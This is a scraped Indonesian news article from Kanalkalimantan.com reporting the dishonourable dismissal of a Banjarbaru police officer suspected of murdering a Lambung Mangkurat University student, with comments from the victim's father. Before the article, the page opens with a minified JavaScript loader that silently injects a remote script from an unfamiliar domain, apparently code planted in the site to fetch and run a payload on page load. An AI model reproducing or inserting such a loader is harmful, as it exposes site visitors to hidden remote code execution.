(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
KANALKALIMANTAN.COM, BANJARBARU – Ketok palu majelis sidang Komisi Kode Etik Polda Kalimantan Selatan memutuskan Pemberhentian Tidak Dengan Hormat (PTDH) terhadap tersangka pembunuhan mahasiswi Universitas Lambung Mangkurat (ULM), Senin (29/10/2025) siang.
Di persidangan yang berlangsung di aula Markas Kepolisian Resor Banjarbaru, terduga pelanggar Muhammad Seili alias MS sudah tidak menyandang jabatan sebagai Banit 24 Dalmas Sat Samapta Polres Banjarbaru berpangkat Bripda.
Ketua Sidang Komisi Kode Etik, AKBP Budi Santosa memutuskan dan menetapkan MS secara sah dan meyakinkan melanggar kode etik profesi dan kode etik Polri.
Baca juga: Bripka MS Sidang Kode Etik, Diancam Pemberhentian dari Anggota Polri
Putusan resmi diketok Ketua beserta Wakil dan Anggota Majelis mendengarkan fakta-fakta persidangan, yang disampaikan penuntut, empat orang saksi anggota Sat Reskrim Polres Banjarbaru, serta keterangan terduga pelanggar sendiri.
“Memutuskan, menetapkan nama Muhammad Seili, pangkat NRP 305040219, jabatan Banit 24 Dalmas Samapta Polres Banjarbaru terbukti secara sah dan meyakinkan melanggar,” ujar Ketua Sidang Komisi Kode Etik, AKBP Budi Santosa dalam sidang komisi kode etik yang diselenggarakan terbuka untuk umum.
Ketua Majelis Sidang Kode Etik menyebutkan MS melanggar Pasal 13 Peraturan Pemerintah (PP)Republik Indonesia Nomor 1 Tahun 2003 tentang pemberhentian anggota Polri, Pasal 5 Ayat (1) Huruf P, Pasal 8 huruf C Angka 1, Pasal 8 huruf C Angka 2, Pasal 8 huruf C Angka 3, dan Pasal 13 huruf R semuanya termuat dalam Perpol 7 Tahun 2022 tentang Kode Etik Profesi dan Kode Etik Polri.
Baca juga: Kalsel Banjir Besar, Kejahatan Ekologis dari Pemangku Kebijakan
Ayat kedua putusan tersebut menjatuhkan terhadap MS berupa sanksi bersifat etika, yaitu perilaku pelanggar dinyatakan sebagai perbuatan tercela.
“Dan sanksi kedua bersifat administratif, yaitu pemberhentian tidak dengan hormat atau PTDH dari dinas Kepolisian,” tambahnya.
Di sisi lain Sarmani, ayah dari Zahra Dilla mempercayakan seluruh proses hukum yang diberikan penegak hukum kepada MS. Dirinya pun mengharapkan hukuman maksimal diberikan kepada MS.
Baca juga: Dahsyat! Jalan Santai Batfest Diikuti 30 Ribu Peserta, Hadiah dari 100 Menjadi 200 Paket Umroh
“Sudah sesuai harapan untuk pengadilan etiknya, yang penting sesuai dengan hukum yang berlaku di Indonesia dan dihukum seadil-adilnya,” tandas Sarmani. (Kanalkalimantan.com/wanda)
Reporter: wanda
Editor: bie
KANALKALIMANTAN.COM, BANJARMASIN — Mendekati Ramadan, Wali Kota Banjarmasin H Muhammad Yamin HR mengeluarkan kebijakan pelaksanaan… Read More
KANALKALIMANTAN.COM, AMUNTAI – Senyum tawa anak-anak Desa Hambuku Hulu mewarnai halaman rumah warga yang sementara… Read More
KANALKALIMANTAN.COM, BANJARMASIN - Kepolisian Sektor (Polsek) Banjarmasin Selatan mengamankan belasan remaja dan sejumlah senjata tajam… Read More
KANALKALIMANTAN.COM, PARINGIN - Gerakan Ekonomi Kreatif Nasional (Gekrafs) Kabupaten Balangan menghadirkan Balangan Kreatif Wadah Anak… Read More
KANALKALIMANTAN.COM, BANJARMASIN - Wali Kota Banjarmasin, H Muhammad Yamin HR mendorong masyarakat bisa mengolah sampah… Read More
KANALKALIMANTAN.COM, BANJARBARU - Pemerintah Provinsi Kalimantan Selatan (Kalsel) mengumumkan penetapan lokasi pembebasan lahan untuk pembangunan… Read More
This website uses cookies.